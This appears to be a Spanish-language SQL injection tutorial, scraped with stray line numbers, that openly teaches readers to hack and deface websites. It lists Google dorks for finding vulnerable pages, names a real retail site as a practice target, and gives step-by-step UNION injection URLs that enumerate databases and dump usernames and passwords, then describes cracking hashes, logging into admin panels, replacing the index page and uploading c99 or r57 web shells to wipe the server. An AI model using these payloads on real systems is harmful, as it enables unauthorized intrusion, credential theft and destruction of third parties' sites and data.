1. Tutorial Sql Injection By Lun4t1c0 2. 3. 4. 5. En Este Tutorial Aprenderás a Defacear, hackear una página web Php,Cgi
Views 438 Downloads 1 File size 200KB
1. Tutorial Sql Injection By Lun4t1c0 2. 3. 4. 5. En Este Tutorial Aprenderás a Defacear, hackear una página web Php,Cgi,Asp,Jsp.
para
poder cambiar su contenido o bien eliminar todo y dejar tu propio index.. 6. 7. 8. 9. ¿Qué es la inyección de SQL? 10. 11. 12. 13. Es un truco para injectar consultas sql / comando como entrada posiblemente 14. 15. a través de páginas web. Muchas páginas web, podemos tomar los parametros 16. 17. de usuario de este, y hacer consultas sql a la base de datos. Tomemos por ejemplo, 18. 19. cuando una página contiene login o acceso a cuentas de usuario, podemos injectar 20. 21. codigos maliciosos sql para hackear al panel de administración. 22. 23. 24. 25. ¿Que debemos hacer para empezar? 26. 27. 28. 29. Primero tenemos que buscar una web que sea vulnerable podemos utilizar estos dorks 30. 31. para buscar en google.. 32. 33. 34. 35. ¿Qué es un Dork? 36. 37. 38. 39. Un dork es un metodo rápido para encontrar páginas con los datos que nosotros queramos 40.
41. 42. 43. Ejemplo www.tupagina.com/index.php?id=1 44. 45. 46. 47. Lo que hace el dork es buscar /index.php?id=1 de todas las páginas de la red.. 48. 49. 50. 51. Puedes buscar de esta manera : inurl:index.php?id=1 ( esto es en una url) 52. 53. o bien buscar de esta otra: allinurl:index.php?id=1 ( esto busca en todas las url) 54. 55. 56. 57. Dorks Comúnmente Buscadas (Esto es segun tu imaginación) 58. 59. 60. 61. inurl:index.php?id= 62. 63. inurl:trainers.php?id= 64. 65. inurl:buy.php?category= 66. 67. inurl:article.php?ID= 68. 69. inurllay_old.php?id= 70. 71. inurl:declaration_more.php?decl_id= 72. 73. inurlageid= 74. 75. inurl:games.php?id= 76. 77. inurlage.php?file= 78. 79. inurl:newsDetail.php?id= 80. 81. inurl:gallery.php?id=
82. 83. inurl:article.php?id= 84. 85. inurl:show.php?id= 86. 87. inurl:staff_id= 88. 89. 90. 91. 92. 93. Si necesitan una página para prácticar está injección aquí tienen una 94. 95. ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------96. 97. www.bershka.com/coleccion-galeria.php?id=4 98. 99. ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------100. 101.
PRIMER PASO:
102. 103. 104. 105.
Ahora bien encuentras una página vulnerable y quieres hackearla
106. 107.
ej de página: www.lol.com/index.php?id=1
108. 109. 110. 111.
Bien para comprobar que sea una sección vulnerable utilizamos este query a la Base
De Datos: 112. 113. 114. 115.
and 1=0 (corresponde a un valor falso)
116. 117. 118. 119.
and 1=1 (corresponde a un valor verdadero)
120. 121.
Ejemplo de and 1=0 :
Cuando inyectas este valor la página deberá verse con error
o bien 122. 123.
no se mostrara el contenido completo
ejemplo www.lol.com/index.php?id=1+and+1=0
124. 125. 126. 127.
Ejemplo de and 1=1 : Cuando inyectas este valor la página deberá verse completa
sin ningún error 128. 129. 130. 131.
----------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------132. 133. 134. 135.
*Nota: Los "+" pueden ser sustituidos por espacios o por su valor hexadecimal:
"%20" 136. 137. 138. 139.
----------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------140. 141.
SEGUNDO PASO:
142. 143. 144. 145.
Bien la página es totalmente vulnerable ahora toca sacar el número de las columnas
lo cuál sería de la siguiente manera: 146. 147.
iremos probando cuantas columnas posee la base de datos con el código
and+1=1+order+by+ 148. 149. 150. 151.
si se muestra la página entonces es que tiene una o más columnas...
152. 153. 154. 155.
www.lol.com/index.php?id=1+and+1=0+order+by+1
156. 157. 158. 159.
Si se muestra la web entonces tiene una o más columnas; para probar si tiene 2
columnas se quita el 1 y se pone un 2... 160. 161. 162. 163.
www.lol.com/index.php?id=1+and+1=0+order+by+2
164. 165. 166. 167. que
En ocasiones tiene 50 o
más columnas entonces para ahorrarnos tiempo lo
podemos
168. 169.
hacer es probar hasta la columna 15 o 20 y si no nos muestra nada es que nos hemos
pasado!!! Pero si aún nos muestra la página normalmente entonces es que tiene esas o más columnas, por ejemplo de la columna 2 nos cambiamos a la 20 por decir un número... 170. 171. 172. 173.
www.lol.com/index.php?id=1+and+1=0+order+by+20
( Este es un ejemplo en las
páginas que buscarás pueden tener mas columnas, supongamos que esta página tiene 20 columnas) 174. 175. 176. 177.
Bueno ahora sigue unir todas las 20 columnas... ¿¿¿como???
178. 179.
Bueno en este momento ya cambia la consulta por lo siguiente:
180. 181. 182. 183.
www.lol.com/index.php?id=1+and+1=0+union+all+select+1,2,3,4,5,6,7,8,9,10,11,12,13,
14,15,16,17,18,19,20 184. 185.
186. 187.
Bueno aquí nos mensionará las columnas vulnerables de la base de datos, en
cualquier parte de la página te mostrara números 188. 189.
que pueden salir asi
190. 191. 192. 193.
1
194. 195.
2,4,6
196. 197. 198. 199.
Para saber lo que queremos será sustituyendo el 2 por el código en
200. 201.
Sql como lo hemos Hecho hasta ahora por ejemplo si queremos saber la versión de la
Base de datos sería el query "version()" 202. 203.
o para saber el nombre de usuario user()
204. 205.
y para saber el nombre de la base de datos
usaremos
database()
206. 207. 208. 209.
----------------------------------------------------------------------------------
----------------------------------------------------------------------------------------------------------210. 211. 212. 213.
www.lol.com/index.php?id=1+and+1=0+union+all+select+1,version(),3,4,5,6,7,8,9,10,1
1,12,13,14,15,16,17,18,19,20 214. 215. 216. 217.
Ahora te saldrá un mensaje asi:
5.1.37
218. 219. 220.
para las versiones 5xx.. podemos usar la siquiente query:
information_schema
221.
en versiones 4xx no podemos usar information_schema ahí ya cambia toda la
inyeccion y es mucho más difícil 222. 223. 224. 225.
ahora bien supongamos que tenemos una version 5xx
226. 227. 228. 229.
Algunos comandos que nos servirán para MySql 5.x.x.x como es "group_concat()" (que
significa concatenar grupo) ya que nos ahorraremos la pena de estar poniendo un limit y ver una por una cada tabla entonces lo que 230. 231.
haremos será poner en la columna 2 el query y quedaría así:
232. 233. 234. 235.
www.lol.com/index.php?id=1+and+1=0+union+all+select+1,group_concat(1),3,4,5,6,7,8,
9,10,11,12,13,14,15,16,17,18,19,20 236. 237. 238. 239.
Como vemos abajo nos a puesto un "1" bueno el query se pude explotar mas!!! ;)
Bueno ahora toca decirle a la web que nos muestre por favor todas las tablas de la base de datos... :P ¿cómo? pues con la siguiente query: 240. 241. 242. 243.
www.lol.com/index.php?id=1+and+1=0+union+all+select+1,group_concat(table_name),3,4
,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+information_schema.tables-244. 245. 246. 247.
¿Que le pedimos? pues que concatene todo desde information_schema.tables *Nota:
Para esto es el 248. 249.
from para decirle a la base de datos que tabla va a agarrar los datos*
250. 251.
Es importante recordar que si la web nos muestra la tabla en minúsculas o
mayúsculas hay que respetarlas porque no 252.
253.
cargara bien si no lo hacemos* ahora vamos a consultar las columnas de la
siguiente forma: 254. 255. 256. 257.
www.lol.com/index.php?id=1+and+1=0+union+all+select+1,group_concat(column_name),3,
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+information_schema.columns-258. 259. 260. 261.
ahora nos mostrará las tablas que posee la base de datos puede ser de esta manera.
(ej:) 262. 263.
contenido,fotos,videos,textos,usuarios,procesos
264. 265. 266. 267.
si Tiene la tabla USUARIOS,USERS,ADMIN ->
eso signica que podemos sacar el nombre
y contraseña para acceder al panel de administración 268. 269. 270. 271.
Lo que le pedimos a la web es que concatene las columnas desde las columnas valga
la redundancia donde 272. 273.
la tabla es "usuarios"
274. 275. 276. 277.
Y nos dará el nombre de las columnas las que nos interesan son:
nombre,email,password!!! genial ahora solo toca 278. 279.
pedirle a la web que nos de el contenido de ellas... ¿como? pues con la siguiente
query: 280. 281. 282. 283.
www.lol.com/index.php?id=1+and+1=0+union+all+select+1,group_concat(nombre,0x3a,pas
sword),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+usuarios 284. 285.
286. 287.
¿qué es 0x3a?
te daré un ejemplo:
288. 289. 290. 291.
El 0x3a concatena la columna "nombre" y la columna "password" separando los datos
por un ":" 292. 293.
pero convertido a hexadecimal lo que pasa es que ":" en hexa es: "3a"
294. 295. 296. 297.
ejemplo: carlos:123456
298. 299. 300. 301.
en ocaciones te podrás encontrar con contraseñas llamadas (HASH) que pueden estár
en formatos md5,sha1,md4, etc 302. 303. 304. 305.
ejemplo:
Carlos:5a4sd13115437456g1321casd
306. 307. 308. 309.
5a4sd13115437456g1321casd ( es el hash (contraseña))
para saber lo que posee
podemos Decencryptarla 310. 311.
con una página online ( esta es muy buena )
www.hashchecker.de/find.html
312. 313. 314. 315.
bien pasamos a el "from+usuarios" aquí ya sabemos lo que le pedimos... :P bien ahí
están nuestros tan anhelados datos!!! jejeje solo resta encontrar el panel de admin para acceder con los datos. 316. 317. 318. 319. 320. 321.
NOTA* hay veces en que cuando inyectamos esta query:
322. 323. 324. 325.
www.lol.com/index.php?id=1+and+1=0+union+all+select+1,group_concat(column_name),3,
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+information_schema.columns 326. 327. 328. 329.
No nos muestra nada que podamos aprovechar ej : usuarios, admin
330. 331. 332. 333.
¿Qué Hacer en ese caso?
334. 335. 336. 337.
la página puede tener 1 o más bases de datos podemos verlas todas con el siquiente
query: 338. 339. 340. 341.
y para ver el nombre de todas las bases de datos que posee la página se usa
342. 343. 344. 345.
www.lol.com/index.php?id=1+and+1=0+union+all+select+1,group_concat(schema_name),3,
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+ 346. 347.
information_schema.schemata
348. 349. 350. 351. 352. 353.
supongamos que tiene estás databases:
information_schema , acceso , datos
354. 355. 356. 357. 358. 359.
para acceder a una de ellas necesitamos el siguiente query:
360. 361.
www.lol.com/index.php?id=1+and+1=0+union+all+select+1,group_concat(column_name),3,
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+ 362. 363.
information_schema.columns+where+table_schema=char()
364. 365. 366. 367.
supongamos que queremos abrir la base de datos (acceso)
368. 369. 370. 371.
podemos convertir el nombre "acceso" en formato ascii o en hex, bien usaremos
ascii 372. 373. 374. 375.
un buen convertidor de ascii es
(TEXT TO ASCII)
376. 377. 378. 379.
"acceso" en ascii es : 97,99,99,101,115,111
380. 381. 382. 383.
esta es la query que agregaremos:
384. 385. 386. 387.
www.lol.com/index.php?id=1+and+1=0+union+all+select+1,group_concat(column_name),3,
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+ 388. 389.
information_schema.columns+where+table_schema=char(97,99,99,101,115,111)
390. 391. 392. 393. 394. 395. 396.
y nos mostrara el contenido de la base de datos (ACCESO)
397.
----------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------------------------------------------------------398. 399. 400. 401. 402. 403.
Bien ya tenemos nuestro querido nombre y contraseña :)
404. 405.
ahora nos queda encontrar el panel de administración: casi siempre está en algún
lado de la página 406. 407.
con nombres como : Instranet,acceso usuarios,admin,login, etc.
408. 409. 410. 411.
Ahora supongamos que encontramos el panel que es el siguiente como ejemplo
412. 413. 414. 415.
www.lol.com/admin.php
416. 417. 418. 419.
nos logeamos con los datos que sacamos resientemente de la base de datos y nos
logeamos 420. 421. 422. 423.
dentro de este sitio (panel de administración)
424. 425. 426. 427.
podremos encontrar muchas cosas tales como: borrar editar o reemplazar, o subir
datos a la web 428. 429. 430. 431.
si buscamos y buscamos podemos editar el index.php y podremos editarlo a nuestra
manera :)
432. 433. 434. 435.
eliminas todo lo demás y dejas tu propioo index.php,index.asp,index.html o como
quieras 436. 437. 438. 439.
así dejarás una huella en la página y será tuya :)
440. 441. 442. 443.
pero lo mejor que podemos hacer :
444. 445. 446. 447.
es subir una SHELL
como: r57,c99
448. 449. 450. 451.
te recomiendo descargar la c99
452. 453. 454. 455.
una vez que la tenemos la subimos a la página mediante el upload que tiene
456. 457. 458. 459.
ahora bien los archivos se subiran en el directorio
460. 461. 462. 463.
para abrir la c99 deberemos abrirla así
464. 465. 466. 467. 468. 469. 470. 471.
www.lol.com/upload/c99.php
/upload/
472. 473.
con la c99 podremos tener acceso a todo el computador y eliminarle absolutamente
todo :) 474. 475. 476. 477. 478. 479.
----------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------------------------------------------------------------------------